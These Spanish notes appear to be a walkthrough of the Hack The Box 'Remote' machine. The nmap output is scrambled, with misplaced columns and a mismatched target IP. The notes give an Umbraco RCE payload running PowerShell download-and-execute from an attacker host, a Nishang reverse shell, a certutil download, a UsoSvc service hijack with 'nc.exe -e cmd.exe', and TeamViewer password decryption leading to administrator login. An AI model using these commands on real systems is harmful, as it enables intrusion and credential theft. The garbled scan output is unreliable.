notas

Escaneo con nmap

```
ktwlw@parrot ~/HTB/remote/nmap]$ cat targeted
            File: targeted
             # Nmap 7.80 scan initiated Med Mar 25 10:29:58 2020 as: nmap -sC -sV -p21,80,111,135,139,445,49678 -oN targeted 10.10.10.180
             Nmap scan report for 10.10.10.188
             Host is up (0.24s latency).
                            STATE SERVICE
            PORT
             21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
                                                            Microsoft ftpd
             21/tcp
                  SYST: Windows_NT
             80/tcp open http
111/tcp open rpcbind
                                                             Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
                                                        2-4 (RPC #188888)
                  program version port/proto service
                                               port/proto service
111/tcp rpcbind
111/tcp6 rpcbind
111/udp rpcbind
111/udp6 rpcbind
111/udp6 rpcbind
2049/udp nfs
2049/udp6 nfs
2049/tcp nfs
2049/tcp mountd
2049/tcp6 mountd
2049/tcp6 mountd
2049/tcp nlockmgr
2049/tcp6 nlockmgr
2049/tcp6 nlockmgr
2049/tcp6 nlockmgr
2049/tcp6 nlockmgr
2049/tcp6 nlockmgr
2049/tcp6 status
                  program version
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 2,3,4
100000 1,2,3
100000 1,2,3
                   100005 1,2,3
100005 1,2,3
                  100005 1,2,3
100021 1,2,3,4
100021 1,2,3,4
100021 1,2,3,4
100021 1,2,3,4
100024 1
                                                  2049/tcp status
2049/tcp6 status
2049/udp status
2049/udp6 status
                   100024 1
                  100024 1
100024 1
            135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds?
49678/tcp open msrpc
                                                          Microsoft Windows RPC
                                                            Microsoft Windows netbios-ssn
                                                             Microsoft Windows RPC
            Host script results:
                smb2-security-mode:
                      Message signing enabled but not required
                  date: 2020-03-25T09:33:55
                 start_date: N/A
             Service detection performed. Please report any incorrect results at https://nmap.org/submit/
             # Nmap done at Wed Mar 25 10:32:30 2020 -- 1 IP address (1 host up) scanned in 152.25 seconds
ktulugparrot ~/HTB/remote/nmap]$
```

Veo que tiene ftp anónimo pero al conectar no muestra nada y no deja subir ficheros.

Por http veo que tiene un CMS llamado umbraco. Después investigaré sobre eso.

Puerto 2049 abierto. Busco información y encuentro lo siguiente: https://mundo-hackers.weebly.com/puerto-2049---nfs.html

```
[ktulu@parrot ~]$ sudo showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
[ktulu@parrot ~]$ |
```

mkdir nfs sudo mount -t nfs 10.10.10.180:/site_backups nfs -o nolock



Accedo con admin@htb.local y la contraseña baconandcheese

searchsploit umbraco me devuelve varios exploits. En concreto elijo Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution

Modifico lo siguiente para conseguir ping a mi ip:

```
{ string cmd = "/c ping -n 2 10.10.15.193"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
```

Modifico el script de nishang Invoke-PowerShellTCP.ps1 y añado al final → Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.193 -Port 4444 y renombro el fichero a shell.ps1

Levanto un servidor web con python -m SimpleHTTPServer 80

Vuelvo a modificar el exploit (escapando las comillas simples) para obtener una shell de powershell:

```
{ string cmd = "iex (New-Object Net.WebClient).DownloadString(\'http://
10.10.15.193/shell.ps1\')"; System.Diagnostics.Process proc = new
System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
```



PS C:\windows\system32\inetsrv>whoami iis apppool\defaultapppool PS C:\windows\system32\inetsrv>

Intento transferir PowerUp.ps1 para la escalada de privilegios.

certutil.exe -urlcache -split -f http://10.10.15.193/PowerUp.ps1 PowerUp.ps1

Uso certutil.exe porque ni por samba ni por http podía, parece ser que el defender actuaba.

Veo con whoami /priv que tengo seimpersonateprivilege y debería poder usar juicypotato :) pero pruebo y no funciona. Está parcheado (Server 2019).

Utilizo la técnica de abusar del servicio UsoSvc, tal como lo explican aquí → https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/ Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

```
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e c
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
                          : 20 WIN32_SHARE_PROCESS
       TYPE
       START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
       LOAD_ORDER_GROUP :
                          : 0
        DISPLAY_NAME : Update
DEPENDENCIES : rpcss
                          : Update Orchestrator Service
        SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
```

Consigo sesión como system pero a los pocos segundos muere la sesión.

Sigo explorando y veo un proceso TeamViewer

https://gist.github.com/rishdang/442d355180e5c69e0fcb73fecd05d7e0

https://whynotsecurity.com/blog/teamviewer/

REG QUERY HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7
SecurityPasswordAES REG_BINARY
FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B

```
[root@parrot /home/ktulu/HTB/remote/exploits]$ python3 teamviewer password decrypt.py
This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer

Please check below mentioned registry values and enter its value manually without spaces.
"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"

Enter output from registry without spaces : 357BC4C8F33160682B01AE2D1C987C3FE2BAE09455894A1919C4C04984593A77
Decrypted password is : r3m0te_L0gin
[root@parrot /home/ktulu/HTB/remote/exploits]$ python3 teamviewer password decrypt.py

This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer

Please check below mentioned registry values and enter its value manually without spaces.
"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"

Enter output from registry without spaces : FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
Decrypted password is : !R3m0te!
```

evil-winrm -i 10.10.10.180 -u administrator -p \!R3m0te\!

root.txt \rightarrow 296ece17acf9822d5ef1c71e4df91c11